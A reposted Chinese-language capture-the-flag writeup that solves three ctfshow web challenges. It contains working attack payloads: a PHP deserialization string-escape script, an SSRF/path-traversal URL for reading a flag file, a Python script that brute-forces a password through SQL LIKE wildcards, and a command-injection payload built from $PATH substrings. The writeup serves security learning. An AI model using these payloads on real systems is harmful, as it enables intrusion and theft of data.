ctfshow 月餅杯 Web writeup


題目名稱:web1_此夜圓

題目描述:一江春水何年盡,萬古清光此夜圓

挺簡單的一題,考察反序列化字符逃逸

附下解題腳本,過程就不寫了
可參考php反序列化逃逸

<?php
error_reporting(0);

class a
{
    public $uname='FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}';
    public $password=1;
//    public function __construct($uname,$password)
//    {
//        $this->uname=$uname;
//        $this->password=$password;
//    }
    public function __wakeup()
    {
        if($this->password==='yu22x')
        {
            echo '123';
        }
        else
        {
            echo 'wrong password';
        }
    }
}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}


$ser=filter(serialize(new a($uname,$password)));
print ($ser);
echo "\n";

print (unserialize($ser));
?>

payload:

1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

題目名稱:web2_故人心

題目描述:三五夜中新月色,二千里外故人心

<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差點點就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一個都過不了還想要flag呀?!';
}
<?php 
$flag="flag in /fl0g.txt";

第一關 繞過a

需要繞過 is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0

php小數點后超過161位做平方運算時會被截斷,我們可以用科學計數法來代替,即 1e-162

第二關 繞過b c

有個提示,按提示寫腳本即可,做法類似 MD5爆破

第三關 url

考點:file_get_contents使用不存在的協議名導致目錄穿越,實現SSRF
php源碼中,在向目標請求時先會判斷使用的協議。如果協議無法識別,就會認為它是個目錄。

題目中要求url中存在 ctfshow.com,又要構造符合url格式
我們可以構造類似 a://ctfshow.com/../../../ 這樣的url,又因為我們需要查看fl0g.txt文件

最終payload為 url=a://ctfshow.com/../../../../../fl0g.txt

題目名稱:web3_莫負嬋娟

題目描述:皎潔一年惟此夜,莫教容易負嬋娟

查看源碼,可以發現一些提示

like 模糊匹配

% 表示零個或多個字符的任意字符串
_(下划線)表示任何單個字符
[ ] 表示指定范圍 ([a-f]) 或集合 ([abcdef]) 中的任何單個字符
[^] 不屬於指定范圍 ([a-f]) 或集合 ([abcdef]) 的任何單個字符
* 它同於DOS命令中的通配符,代表多個字符
?同於DOS命令中的?通配符,代表單個字符
# 大致同上,不同的是代只能代表單個數字

這里的話大部分字符都被過濾了,但是_(下划線)沒有,添加N個 _ (下划線)可以知道密碼長度為32

import requests

a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'http://b1390a07-2ecc-422e-a3e5-0c80c4d66024.chall.ctf.show/login.php'

pwd = ''
for i in range(32):
    print('i = '+str(i+1),end='\t')
    for j in a:
        password = pwd + j + (31 - i) * '_'
        data = {'username':'yu22x','password':password}
        r = requests.post(url,data=data)
        if 'wrong' not in r.text:
             pwd += j
             print(pwd)
             break

密碼:67815b0c009ee970fe4014abaa3Fa6A0 ;用戶名:yu22x

bp抓包 爆破,發現小寫字母全被過濾了
但是可以使用:大寫字母,數字,{ },空格,$,~

題目有個hint

環境變量 +linux字符串截取 + 通配符

先放payload:ip=0;${PATH:14:1}${PATH:5:1} ????.???

做法:使用$PATH環境變量來截取字母

需要讀取 flag.txt

但是我在本地的$PATH路徑上找不到 t ....

所以用 nl

查看源碼即可得到flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM